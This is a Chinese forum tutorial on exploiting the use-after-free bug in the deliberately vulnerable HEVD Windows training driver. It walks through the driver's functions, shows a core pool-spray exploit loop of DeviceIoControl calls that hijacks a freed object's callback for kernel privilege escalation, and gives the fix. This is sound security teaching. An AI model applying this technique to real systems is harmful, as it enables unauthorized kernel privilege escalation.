首页
论坛
专栏
课程

[原创][03] HEVD 内核漏洞之UAF

2019-7-24 21:10 2155

[原创][03] HEVD 内核漏洞之UAF

2019-7-24 21:10
2155

0x00 前言

上一节研究了内核栈溢出相关问题,事实上利用已经成功了, 但是源码在vs环境下编译的驱动文件和利用程序,在最后返回时的堆栈平衡出现了问题,由于时间有限,暂时搁置,后面有时间将继续研究。

这一节学习释放后引用漏洞,即UAF。

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer


0x01 漏洞原理

UAF

Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况(引用Thunder J师傅的总结,到位):

①内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
②内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
③内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

一般Use After Free 漏洞主要是后两种。

Demo

#include <stdio.h>
#define size 32
int main(int argc, char **argv) {
 
    char *buf1;
    char *buf2;
 
    buf1 = (char *) malloc(size);
    printf("buf1:0x%p\n", buf1);
    free(buf1);
 
    // 分配 buf2 去“占坑”buf1 的内存位置
    buf2 = (char *) malloc(size);
    printf("buf2:0x%p\n\n", buf2);
 
    // 对buf2进行内存清零
    memset(buf2, 0, size);
    printf("buf2:%d\n", *buf2);
 
    // 重引用已释放的buf1指针,但却导致buf2值被篡改
    printf("==== Use After Free ===\n");
    strncpy(buf1, "hack", 5);
    printf("buf2:%s\n\n", buf2);
 
    free(buf2);
}

buf2 “占坑”了buf1 的内存位置,经过UAF后,buf2被成功篡改了。

程序分配和buf1大小相同的堆块buf2实现占坑,buf2分配到已经释放的buf1内存位置,但由于buf1指针依然有效,并且指向的内存数据是不可预测的,可能被堆管理器回收,也可能被其他数据占用填充,buf1指针称为悬挂指针,借助悬挂指针buf1将内存赋值为hack,导致buf2也被篡改为hack。

如果原有的漏洞程序引用到悬挂指针指向的数据用于执行指令,就会导致任意代码执行。

在通常的浏览器UAF漏洞中,都是某个C++对象被释放后重引用,假设程序存在UAF的漏洞,有个悬挂指针指向test对象,要实现漏洞利用,通过占坑方式覆盖test对象的虚表指针,虚表指针指向虚函数存放地址,现在让其指向恶意构造的shellcode,当程序再次引用到test对象就会导致任意代码执行。

分析

UAF漏洞中涉及许多驱动程序功能,依次查看,以提供适当的详细信息。

AllocateUaFObject

typedef void(*FunctionPointer)();
...
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
    FunctionPointer Callback;
    CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
...
NTSTATUS AllocateUaFObjectNonPagedPool(VOID){
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL;
    PAGED_CODE();

    __try
    {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );

        if (!UseAfterFree)
        {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObjectNonPagedPool = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
该函数分配一个非分页的池块,用‘A’填充它,预先设置一个回调指针并添加一个空终止符。 IDA中的流程几乎相同,如下所示。 请注意,对象大小为0x58字节,池标记为“Hack”(小端对齐)。




FreeUaFObject

NTSTATUS
FreeUaFObjectNonPagedPool(
    VOID
)
{
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
相当直接,这可以通过引用标记值来释放池块。在安全版本下,这是安全的,而在不安全的版本中这是包含漏洞的函数,因为在释放对象后“g_UseAfterFreeObject”未设置为null,因此保留了"过时"的对象指针

UseUaFObject

NTSTATUS UseUaFObjectNonPagedPool(VOID){
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PAGED_CODE();
    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObjectNonPagedPool->Callback)
            {
                g_UseAfterFreeObjectNonPagedPool->Callback();
            }
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}
此函数由于UAF存在,则读入“g_UseAfterFreeObject”值并执行对象回调。

AllocateFakeObject

最终,我们找到这样一个驱动函数:它允许我们在非分页内存池上分配一个伪造的对象;该函数允许我们把对象分配到原本的UAF对象所在的位置上。
NTSTATUS
AllocateFakeObjectNonPagedPool( _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject){
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL;
    PAGED_CODE();
    __try
    {
        DbgPrint("[+] Creating Fake Object\n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );

        if (!KernelFakeObject)
        {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)__alignof(UCHAR)
        );

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory(
            (PVOID)KernelFakeObject,
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL)
        );

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
整理一下,整个流程:

  1. 我们分配一个UAF对象。
  2. 我们释放掉UAF对象。
  3. 我们使用伪造的对象占坑释放掉的UAF对象内存。
  4. 我们用野指针调用UAF对象的callback函数,此时callback函数指针已经由伪造的对象来决定了。

0x02 漏洞利用

Hacks Team提供的利用程序源码中,可以看到,其利用流程与我们上面总结的利用流程无二。

当申请的内核池大小和UAF中内核池的大小相同,极有可能申请到我们的这块内存;而且提前构造好了这块内存中的数据,释放时指向payload,从而达到提权的效果。

只构造一块伪造池块,显然是不可取的,“池海”才有可能实现,即就是池Feng shui技术。

利用代码,可以参考这里,下面只展示出核心部分:

//申请fake UAF对象
        for (i = 0; i < 0x1000; i++)
		{
            DeviceIoControl(hFile,
                            HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
                            (LPVOID)FakeObject,//Ring3缓冲区
                            0,
                            NULL,
                            0,
                            &BytesReturned,
                            NULL);
        }
        OutputDebugString("****************Kernel Mode****************\n");
        DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n");
		//释放剩余的对象
        FreeReserveObjects();
        DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n");
        OutputDebugString("****************Kernel Mode****************\n");
		//执行
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
                        NULL,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
        OutputDebugString("****************Kernel Mode****************\n");
最终看到。提权成功,提权过程参考我的前一篇


0x03 漏洞防范

很明显在安全版本中,已给出防范方法,即释放后指控,防止悬挂指针的出现。

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            g_UseAfterFreeObjectNonPagedPool = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
            // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
#endif


[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-7-29 09:54 被Saturn丶编辑 ,原因:
最新回复 (2)
wjllz 3 2019-7-27 16:44
2
0
user space应该才叫做堆... 这里应该是pool spray不是heap spray. 如果我没记错的话, 内核当中pool 和 heap是不一样的....
Saturn丶 3 2019-7-29 09:52
3
0
ok,感谢指正,是我的表述疏忽了,马上修改
游客
登录 | 注册 方可回帖
返回